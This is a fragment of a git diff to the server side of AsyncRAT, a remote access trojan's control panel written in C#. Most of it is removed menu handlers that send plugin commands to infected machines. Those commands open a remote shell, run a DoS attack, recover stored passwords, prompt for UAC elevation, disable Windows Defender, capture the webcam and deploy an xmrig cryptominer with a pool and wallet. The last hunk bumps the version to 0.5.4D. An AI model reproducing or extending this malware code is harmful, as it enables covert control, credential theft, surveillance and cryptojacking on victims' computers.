msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - { } - } - - private void RunToolStripMenuItem1_Click(object sender, EventArgs e) - { - try - { - string title = Interaction.InputBox("SEND A NOTIFICATION WHEN CLIENT OPEN A SPECIFIC WINDOW", "TITLE", "YouTube, Photoshop, Steam"); - if (string.IsNullOrEmpty(title)) - return; - else - { - lock (Settings.LockReportWindowClients) - { - Settings.ReportWindowClients.Clear(); - Settings.ReportWindowClients = new List(); - } - Settings.ReportWindow = true; - - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "reportWindow"; - packet.ForcePathObject("Option").AsString = "run"; - packet.ForcePathObject("Title").AsString = title; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void StopToolStripMenuItem2_Click(object sender, EventArgs e) - { - try - { - Settings.ReportWindow = false; - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "reportWindow"; - packet.ForcePathObject("Option").AsString = "stop"; - lock (Settings.LockReportWindowClients) - foreach (Clients clients in Settings.ReportWindowClients) - { - ThreadPool.QueueUserWorkItem(clients.Send, packet.Encode2Bytes()); - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void CloseToolStripMenuItem1_Click(object sender, EventArgs e) - { - try - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "close"; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void RestartToolStripMenuItem2_Click(object sender, EventArgs e) - { - try - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "restart"; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void UpdateToolStripMenuItem2_Click(object sender, EventArgs e) - { - try - { - using (OpenFileDialog openFileDialog = new OpenFileDialog()) - { - if (openFileDialog.ShowDialog() == DialogResult.OK) - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "sendFile"; - packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(openFileDialog.FileName))); - packet.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName); - packet.ForcePathObject("Update").AsString = "true"; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - client.LV.ForeColor = Color.Red; - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void UninstallToolStripMenuItem_Click(object sender, EventArgs e) - { - DialogResult dialogResult = MessageBox.Show(this, "Are you sure you want to unistall", "AsyncRAT | Unistall", MessageBoxButtons.YesNo, MessageBoxIcon.Information); - if (dialogResult == DialogResult.Yes) - { - try - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "uninstall"; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - } - - private void RestartToolStripMenuItem3_Click(object sender, EventArgs e) - { - try - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "pcOptions"; - packet.ForcePathObject("Option").AsString = "restart"; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void ShutdownToolStripMenuItem1_Click(object sender, EventArgs e) - { - try - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "pcOptions"; - packet.ForcePathObject("Option").AsString = "shutdown"; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void LogoffToolStripMenuItem1_Click(object sender, EventArgs e) - { - try - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "pcOptions"; - packet.ForcePathObject("Option").AsString = "logoff"; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void ShowFolderToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - foreach (Clients client in GetSelectedClients()) - { - string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID); - if (Directory.Exists(fullPath)) - { - Process.Start(fullPath); - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void SeedTorrentToolStripMenuItem1_Click_1(object sender, EventArgs e) - { - using (FormTorrent formTorrent = new FormTorrent()) - { - formTorrent.ShowDialog(); - } - } - - private void RemoteShellToolStripMenuItem1_Click_1(object sender, EventArgs e) - { - try - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "shell"; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID]; - if (shell == null) - { - shell = new FormShell - { - Name = "shell:" + client.ID, - Text = "shell:" + client.ID, - F = this, - }; - shell.Show(); - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private readonly FormDOS formDOS; - private void DOSAttackToolStripMenuItem_Click_1(object sender, EventArgs e) - { - try - { - if (listView1.Items.Count > 0) - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "dosAdd"; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - formDOS.Show(); - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void ToolStripStatusLabel2_Click(object sender, EventArgs e) - { - if (Properties.Settings.Default.Notification == true) - { - Properties.Settings.Default.Notification = false; - toolStripStatusLabel2.ForeColor = Color.Black; - } - else - { - Properties.Settings.Default.Notification = true; - toolStripStatusLabel2.ForeColor = Color.Green; - } - Properties.Settings.Default.Save(); - } - - private void ExecuteNETCodeToolStripMenuItem_Click_1(object sender, EventArgs e) - { - if (listView1.SelectedItems.Count > 0) - { - using (FormDotNetEditor dotNetEditor = new FormDotNetEditor()) - { - dotNetEditor.ShowDialog(); - } - } - - } - - private void PASSWORDRECOVERYToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - if (listView4.Items.Count > 0) - { - foreach (ListViewItem item in listView4.Items) - { - if (item.Text == "Recovery Password") - { - return; - } - } - } - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Recovery.dll")); - - ListViewItem lv = new ListViewItem(); - lv.Text = "Recovery Password"; - lv.SubItems.Add("0"); - lv.ToolTipText = Guid.NewGuid().ToString(); - listView4.Items.Add(lv); - listView4.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); - - getTasks.Add(new AsyncTask(msgpack.Encode2Bytes(), lv.ToolTipText)); - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void GetAdminPrivilegesToolStripMenuItem_Click_1(object sender, EventArgs e) - { - if (listView1.SelectedItems.Count > 0) - { - DialogResult dialogResult = MessageBox.Show(this, "Popup UAC prompt? ", "AsyncRAT | UAC", MessageBoxButtons.YesNo, MessageBoxIcon.Information); - if (dialogResult == DialogResult.Yes) - { - try - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "uac"; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - if (client.LV.SubItems[lv_admin.Index].Text != "Administrator") - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - } - } - - private void DisableWindowsDefenderToolStripMenuItem_Click_1(object sender, EventArgs e) - { - if (listView1.SelectedItems.Count > 0) - { - DialogResult dialogResult = MessageBox.Show(this, "Will only execute on clients with administrator privileges!", "AsyncRAT | Disbale Defender", MessageBoxButtons.YesNo, MessageBoxIcon.Information); - if (dialogResult == DialogResult.Yes) - { - try - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "disableDefedner"; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - if (client.LV.SubItems[lv_admin.Index].Text == "Admin") - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - } - } - - private void BlankScreenToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - if (listView1.SelectedItems.Count > 0) - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "blankscreen"; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Extra.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void WebcamToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - if (listView1.SelectedItems.Count > 0) - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\RemoteCamera.dll")); - - foreach (Clients client in GetSelectedClients()) - { - FormWebcam remoteDesktop = (FormWebcam)Application.OpenForms["Webcam:" + client.ID]; - if (remoteDesktop == null) - { - remoteDesktop = new FormWebcam - { - Name = "Webcam:" + client.ID, - F = this, - Text = "Webcam:" + client.ID, - ParentClient = client, - FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "Camera") - }; - remoteDesktop.Show(); - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - //private void ReSendPluginsToolStripMenuItem_Click(object sender, EventArgs e) - //{ - // try - // { - // MsgPack msgpack = new MsgPack(); - // msgpack.ForcePathObject("Packet").AsString = "cleanPlugin"; - // foreach (Clients client in GetSelectedClients()) - // { - // ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - // } - // } - // catch (Exception ex) - // { - // MessageBox.Show(ex.Message); - // return; - // } - //} - - private void RunToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - if (listView1.SelectedItems.Count > 0) - { - using (FormMiner form = new FormMiner()) - { - if (form.ShowDialog() == DialogResult.OK) - { - if (!File.Exists(@"Plugins\xmrig.bin")) - { - File.WriteAllBytes(@"Plugins\xmrig.bin", Properties.Resources.xmrig); - } - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "xmr"; - packet.ForcePathObject("Command").AsString = "run"; - XmrSettings.Pool = form.txtPool.Text; - packet.ForcePathObject("Pool").AsString = form.txtPool.Text; - - XmrSettings.Wallet = form.txtWallet.Text; - packet.ForcePathObject("Wallet").AsString = form.txtWallet.Text; - - XmrSettings.Pass = form.txtPass.Text; - packet.ForcePathObject("Pass").AsString = form.txtPool.Text; - - XmrSettings.InjectTo = form.comboInjection.Text; - packet.ForcePathObject("InjectTo").AsString = form.comboInjection.Text; - - XmrSettings.Hash = GetHash.GetChecksum(@"Plugins\xmrig.bin"); - packet.ForcePathObject("Hash").AsString = XmrSettings.Hash; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - client.LV.ForeColor = Color.Red; - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } - - private void KillToolStripMenuItem_Click(object sender, EventArgs e) - { - try - { - if (listView1.SelectedItems.Count > 0) - { - MsgPack packet = new MsgPack(); - packet.ForcePathObject("Packet").AsString = "xmr"; - packet.ForcePathObject("Command").AsString = "stop"; - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "plugin"; - msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); - msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); - - foreach (Clients client in GetSelectedClients()) - { - client.LV.ForeColor = Color.Red; - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message); - return; - } - } + #endregion [DllImport("uxtheme", CharSet = CharSet.Unicode)] diff --git a/AsyncRAT-C#/Server/Settings.cs b/AsyncRAT-C#/Server/Settings.cs index 927a2a4..49f3615 100644 --- a/AsyncRAT-C#/Server/Settings.cs +++ b/AsyncRAT-C#/Server/Settings.cs @@ -15,7 +15,7 @@ namespace Server public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; public static X509Certificate2 ServerCertificate; - public static readonly string Version = "AsyncRAT 0.5.4C"; + public static readonly string Version = "AsyncRAT 0.5.4D"; public static object LockListviewClients = new object(); public static object LockListviewLogs = new object(); public static object LockListviewThumb = new object();